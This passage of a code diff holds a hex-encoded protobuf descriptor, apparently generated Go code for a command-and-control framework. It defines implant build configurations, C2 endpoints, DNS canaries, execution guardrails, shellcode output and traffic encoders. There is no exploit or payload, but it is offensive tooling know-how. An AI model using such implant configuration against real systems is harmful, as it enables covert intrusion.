0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x4f, - 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, - 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x22, 0x79, 0x0a, 0x15, 0x45, 0x78, 0x74, - 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, - 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, - 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, - 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa4, 0x01, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3e, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, - 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x6c, 0x0a, 0x0e, 0x43, - 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, - 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, - 0x6d, 0x61, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a, 0x0d, 0x43, 0x72, - 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22, 0x0a, 0x0c, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, - 0x16, 0x0a, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, - 0x74, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, - 0x68, 0x22, 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x12, - 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, - 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, - 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, - 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, - 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x12, - 0x48, 0x0a, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, - 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x44, - 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, - 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, - 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, - 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, - 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, - 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, - 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, - 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, - 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, - 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, - 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, - 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, - 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, - 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, - 0x55, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x18, 0x29, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, + 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, + 0x02, 0x43, 0x32, 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, + 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, + 0x69, 0x6e, 0x73, 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, + 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, + 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, + 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, + 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, + 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, + 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, + 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, + 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, + 0x74, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, + 0x65, 0x18, 0x41, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, + 0x63, 0x61, 0x6c, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, + 0x4c, 0x69, 0x62, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, + 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x66, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x18, + 0x67, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x18, + 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, + 0x64, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x18, + 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, + 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x6a, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x22, + 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x6b, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, + 0x65, 0x64, 0x12, 0x36, 0x0a, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x6c, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x54, 0x72, + 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x6d, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x18, 0xc8, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x22, 0x7a, 0x0a, + 0x0e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, + 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x49, 0x44, 0x12, + 0x22, 0x0a, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x57, + 0x61, 0x73, 0x6d, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, + 0x73, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, 0x01, 0x0a, 0x11, 0x54, 0x72, + 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, + 0x45, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa6, 0x01, + 0x0a, 0x12, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x54, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, 0x70, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6f, 0x6d, + 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, + 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, + 0x12, 0x1a, 0x0a, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, + 0x45, 0x72, 0x72, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, + 0x0a, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, + 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x66, 0x66, + 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x32, + 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, + 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x52, + 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, + 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, 0x54, + 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, + 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x22, 0x66, 0x0a, 0x15, + 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 